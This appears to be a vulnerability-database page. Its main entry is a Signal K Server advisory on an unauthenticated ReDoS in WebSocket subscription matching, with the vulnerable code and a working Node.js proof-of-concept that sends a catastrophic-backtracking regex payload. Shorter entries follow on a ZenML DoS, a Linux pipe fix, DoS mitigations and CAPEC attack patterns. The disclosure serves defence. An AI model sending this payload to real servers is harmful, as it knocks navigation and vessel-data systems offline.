Summary
Signal K Server has an Unauthenticated Regular Expression Denial of Service (ReDoS) via WebSocket Subscription Paths
Details

Summary

The SignalK server is vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within its WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the context parameter of a stream subscription, an attacker can force the server's Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server's self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests.

Description

The vulnerability stems from flawed string-to-regex conversion in signalk-server/src/subscriptionmanager.ts. The contextMatcher() and pathMatcher() functions convert wildcard strings (e.g., *) into regular expressions to match incoming data against client subscriptions.

While the code attempts to escape . and * characters, it fails to escape other dangerous regular expression metacharacters—such as +, (, ), ?, [, and ]. Because of this, an attacker can submit a crafted context that contains nested quantifiers (e.g., ([a-z0-9:-]+)+!). When the server attempts to test this malicious regex against legitimate, lengthy data identifiers (like vessels.urn:mrn:signalk:uuid:d384dc156010), the regex engine fails to find a match at the end of the string but initiates billions of catastrophic backtracking operations trying to resolve the nested combinations. Since Node.js runs on a single-threaded event loop, this locks up the thread indefinitely.

Affected Code Blocks & Files

File: signalk-server/src/subscriptionmanager.ts

Affected lines for Context subscriptions (282-300):

function contextMatcher(...) {
  if (subscribeCommand.context) {
    if (isString(subscribeCommand.context)) {
      const pattern = subscribeCommand.context
        .replace(/\./g, '\\.')
        .replace(/\*/g, '.*')
      const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: User input compiled into regex directly
      return (normalizedDeltaData: WithContext) =>
        matcher.test(normalizedDeltaData.context) ||

Affected lines for Path subscriptions (276-280):

function pathMatcher(path: string = '*') {
  const pattern = path.replace(/\./g, '\\.').replace(/\*/g, '.*')
  const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: Same issue here
  return (aPath: string) => matcher.test(aPath)
}

Proof of Concept (PoC) Steps

const WebSocket = require('ws');
const http = require('http');

const HOST = 'localhost';
const PORT = 3000;
const WS_URL = `ws://${HOST}:${PORT}/signalk/v1/stream?subscribe=none`;
// Use the API endpoint to measure real server processing lag (requires JSON serialization)
const HTTP_URL = `http://${HOST}:${PORT}/signalk/v1/api/`;

console.log(`[+] Target Server API: ${HTTP_URL}`);
console.log(`[+] Target WebSocket: ${WS_URL}`);

let requestCount = 0;

// Polling function to check server responsiveness and compute delay
function checkServerStatus() {
    const startTime = Date.now();
    requestCount++;
    const reqId = requestCount;

    const req = http.get(HTTP_URL, (res) => {
        let size = 0;
        res.on('data', chunk => { size += chunk.length; });
        res.on('end', () => {
             const latency = Date.now() - startTime;
             console.log(`[HTTP #${reqId}] API responded in ${latency}ms (Data size: ${size} bytes)`);
        });
    });

    req.on('error', (err) => {
        console.log(`[HTTP #${reqId} ERROR] Connection refused/dropped.`);
    });

    // Timeout if the event loop is blocked
    req.setTimeout(2000, () => {
        console.log(`[HTTP #${reqId} TIMEOUT] Server is completely blocked! Node event loop is frozen.`);
        req.destroy();
    });
}

// Start polling every 1 second
console.log('[+] Starting baseline HTTP polling...');
const pollInterval = setInterval(checkServerStatus, 1000);

// Wait a few seconds to establish a baseline, then launch the ReDoS
setTimeout(() => {
    console.log(`\n[!] Initiating WebSocket connection to launch ReDoS attack...`);
    const ws = new WebSocket(WS_URL);

    ws.on('open', () => {
        console.log('[+] WebSocket Connected! Sending catastrophic ReDoS payload...');

        // This regex exploits the unescaped Regex metacharacters in context matcher.
        // It forms: `^vessels\.([a-z0-9:-]+)+!$`
        // When evaluated against `vessels.urn:mrn:signalk:uuid:xxx` (38+ characters), 
        // the nested quantifier `([a-z0-9:-]+)+` will result in 2^38 evaluations 
        // because it fails to find the '!' at the end. This reliably freezes V8.
        const pocPayload = {
            context: "vessels.([a-z0-9:-]+)+!",
            announceNewPaths: true,
            subscribe: [{ path: "*" }]
        };

        ws.send(JSON.stringify(pocPayload));
        console.log('[!] Payload sent. The server should instantly freeze. Watch the HTTP pollers now...\n');
    });

    ws.on('error', (err) => {
        console.error(`[-] WebSocket Error: ${err.message}`);
    });

}, 3500);

// Automatically shut down the test after 15 seconds
setTimeout(() => {
    console.log(`\n[+] Test complete. Stopping pollers.`);
    clearInterval(pollInterval);
    process.exit(0);
}, 15000);

Impact

This vulnerability achieves a complete Denial of Service (DoS) against the SignalK server. A single unauthenticated WebSocket connection can send the catastrophic payload, which permanently locks the main Node.js event loop.

Summary
Improper line feed handling in zenml
Details

A denial of service (DoS) vulnerability exists in zenml-io/zenml version 0.56.3 due to improper handling of line feed (\n) characters in component names. When a low-privileged user adds a component through the API endpoint api/v1/workspaces/default/components with a name containing a \n character, it leads to uncontrolled resource consumption. This vulnerability results in the inability of users to add new components in certain categories (e.g., 'Image Builder') and to register new stacks through the UI, thereby degrading the user experience and potentially rendering the ZenML Dashboard unusable. The issue does not affect component addition through the Web UI, as \n characters are properly escaped in that context. The vulnerability was tested on ZenML running in Docker, and it was observed in both Firefox and Chrome browsers.

Vulnerability from github – Published: 2024-05-17 15:31 – Updated: 2024-07-03 18:42
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

pipe: wakeup wr_wait after setting max_usage

Commit c73be61cede5 ("pipe: Add general notification queue support") a regression was introduced that would lock up resized pipes under certain conditions. See the reproducer in [1].

The commit resizing the pipe ring size was moved to a different function, doing that moved the wakeup for pipe->wr_wait before actually raising pipe->max_usage. If a pipe was full before the resize occured it would result in the wakeup never actually triggering pipe_write.

Set @max_usage and @nr_accounted before waking writers if this isn't a watch queue.

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.
